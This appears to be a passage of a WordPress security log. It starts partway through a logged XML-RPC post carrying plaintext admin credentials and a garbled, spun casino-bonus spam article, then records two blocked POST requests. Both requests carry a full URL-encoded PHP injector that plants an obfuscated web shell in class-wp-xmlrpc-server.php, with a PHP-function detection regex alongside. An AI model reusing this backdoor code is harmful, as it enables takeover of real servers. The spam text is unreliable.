version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Melbet Added bonus: Freebets, Freespins and Promocode for Profiles to your Bangladesh]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Quels extra recevoir en 2026 avec le password promo Melbet AFMAX en Afrique ?<\/a><\/li><li><a href=\"#toc-1\">And therefore internet casino now offers are available to your own? – gambling enterprise mr green<\/a><\/li><li><a href=\"#toc-2\">Melbet advantages having one hundred free spins<\/a><\/li><li><a href=\"#toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/a><\/li><\/ul><\/div>\n<p>From the mobile app, people can add slots to their favourites, fill the account, sort harbors by the classification and you may style, and take part in campaigns. For this reason, MELbet people consistently gain access to games in numerous genres, and not just the new centered classics but also new playing novelties. An educated casinos for cellular online slots in the Singapore are providers that have intuitive mobile sites and you can software. <!--more--> The goal when to play internet casino slots should be to winnings and you can cash out.<\/p>\r\n<h2 id=\"toc-0\">Quels extra recevoir en 2026 avec le password promo Melbet AFMAX en Afrique ?<\/h2>\n<p>At the MelBet, participants may use of several common <a href=\"https:\/\/vogueplay.com\/in\/jackpot247-casino-review\/\">vogueplay.com here are the findings<\/a> cryptocurrencies, as well as Bitcoin, Ethereum, Litecoin, Dogecoin, Ripple, Bitcoin Silver, Dash, Tether and many more. This particular feature after that demonstrates one Alive Gambling enterprise builders pay special attention to outline and you may try to ensure enjoyable minutes to own casino fans. Such video game operate on application companies for example Evolution Playing, Ezugi, Vivo Gambling, Fortunate Streak while some. Regrettably, accounts create within the OMR, BHD, QTUM, KWD, mBT, ZEC, XMR, LTC, Dash, ETH, or XAU are not permitted get the 100 percent free spins that include the Invited Plan incentive. To get the newest 100 percent free spins, the new players need to have verified the telephone amount useful for the MelBet membership. The added bonus in the Invited Package try subject to 40x betting, and therefore must be accomplished within this seven days following the incentive has started paid.<\/p>\r\n\r\n<h2 id=\"toc-1\">And therefore internet casino now offers are available to your own? – gambling enterprise mr green<\/h2>\r\n<ul><li>Mobile profiles aren't overlooked of your own enjoyable from the Melbet as you become to love the fresh server of harbors, desk games, and you will real time buyers for the loyal cellular applications both for Android and you will apple's ios.<\/li><li>In the 2025, they partnered having sports legend Andrés Iniesta, giving participants personal chances to victory autographed prizes.<\/li><li>I recommend saying 22Bet’s 100% put matches incentive as much as $122.<\/li><li>All of the ports have a demonstration version for a free games.<\/li><\/ul>\n<p>But not, online slots SG take precedence, as the majority of professionals love spinning reels. Singapore iGaming admirers try attracted to multiple game from the casinos on the internet. If you choose to wager a real income, make certain you do not enjoy more than you could potentially afford losing, and that you merely favor safe and managed casinos on the internet. Come across greatest selections that have thrilling online game and you can incentives, guaranteeing an unprecedented on the internet sense. Find subscribed U.S. fish dining table gaming sites to play expertise-dependent games and you will victory real cash which can be withdrawn inside mere seconds.<\/p>\n<img src=\"https:\/\/i0.wp.com\/newspack-washingtoncitypaper.s3.amazonaws.com\/uploads\/2023\/09\/image14-2.png?fit=750,420&ssl=1\" alt=\"top 1 online casino\" style=\"padding: 20px;\" align=\"right\" border=\"1\">\n<p>The brand new and you will dated participants rating a plus for to try out Gorgeous Pepper Blaze from the Barbara Bang from the Melbet with one hundred free revolves. Open benefits for all people having Endorphina's The brand new Emirate game. Concurrently, MelBet supports self-handle features, including go out-outs or permanent mind-exception, to simply help professionals look after power over its gambling. A short while later, you could open MelBet membership to view an entire directory of online game and you will campaigns.<\/p>\r\n<h2 id=\"toc-2\">Melbet advantages having one hundred free spins<\/h2>\n<p>Which campaign is just offered to a restricted level of participants, so it’s best to allege your own totally free revolves immediately. Canadian people can select from secure commission alternatives including Interac, Charge, Mastercard, ecoPayz, as well as 31 cryptocurrencies, making sure prompt dumps and you will withdrawals inside the CAD. It’s the best way to kick off your trip at the you to definitely of the very most over web based casinos up to.<\/p>\r\n<h2 id=\"toc-3\">the newest and you will established people, grab: 100 free spins from the Melbet<\/h2>\n<p>The pros receive an unbelievable 18 regardless of the and you can short-term Melbet incentives including the of a lot totally free bets provided by the newest Melbet Additional Code Shop. These novel rules unlock state-of-the-art deposit suits, zero-risk bets, money-back promises, and better community can cost you over the entire site. To help you withdraw the reload bonus, you ought to choice the main benefit matter five times on the accumulators. Open their profitable possible with your free revolves bonus - no wagering expected! Game play comes with Wilds, Spread out Will pay, and you will a no cost Revolves incentive that may trigger large wins. The overall game have highest volatility, a vintage 5x3 reel options, and you can a worthwhile free spins bonus having an expanding symbol.<\/p>\n<p>Melbet are a major international casino one welcomes people worldwide. Online casino MELbet offers registered users an array of position machines and you will notes developed by best builders. To participate in the new advertisements, the ball player must register on the gambling establishment site and you may confirm their account information. But still, the fresh video game is enjoyable and can enable you to make a great betting approach. The slots have a trial type to own a no cost games.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T10:55:51<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 18:55:55","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-length:5285\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\naJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:56:10","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:5285\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\n\nkE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-xmlrpc-server.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup3%2520%253D%2520%2522exe%255Cx63%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522sy%255Cx73%255Cx74em%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522p%255Cx6Fpe%255Cx6E%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522%255Cx73%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524reverse_lookup6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72e%255Cx61m_%255Cx67e%255Cx74_%255Cx63on%255Cx74e%255Cx6Ets%2522%253B%2520%2524settings%2520%253D%2520%2522h%255Cx65x2b%255Cx69n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%2529%2520%257B%2520function%2520restore_state%2520%2528%2520%2524ref%2520%252C%2520%2524desc%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524ref%2529%2529%257B%2520%2524comp.%253Dchr%2528ord%2528%2524ref%255B%2524f%255D%2529%255E%2524desc%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524holder%2520%253D%2520%2524settings%2528%2524_POST%255B%2522h%255Cx6F%255Cx6C%255Cx64er%2522%255D%2529%253B%2520%2524holder%2520%253D%2520restore_state%2528%2524holder%252C%252047%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524holder%252C%2520%2524object_ref%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524object_ref%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524desc_comp%2520%253D%2520%2524reverse_lookup5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524desc_comp%2529%2520%257B%2520%2524data_fac%2520%253D%2520%2524reverse_lookup6%2528%2524desc_comp%2529%253B%2520%2524reverse_lookup7%2528%2524desc_comp%2529%253B%2520print%2520%2524data_fac%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
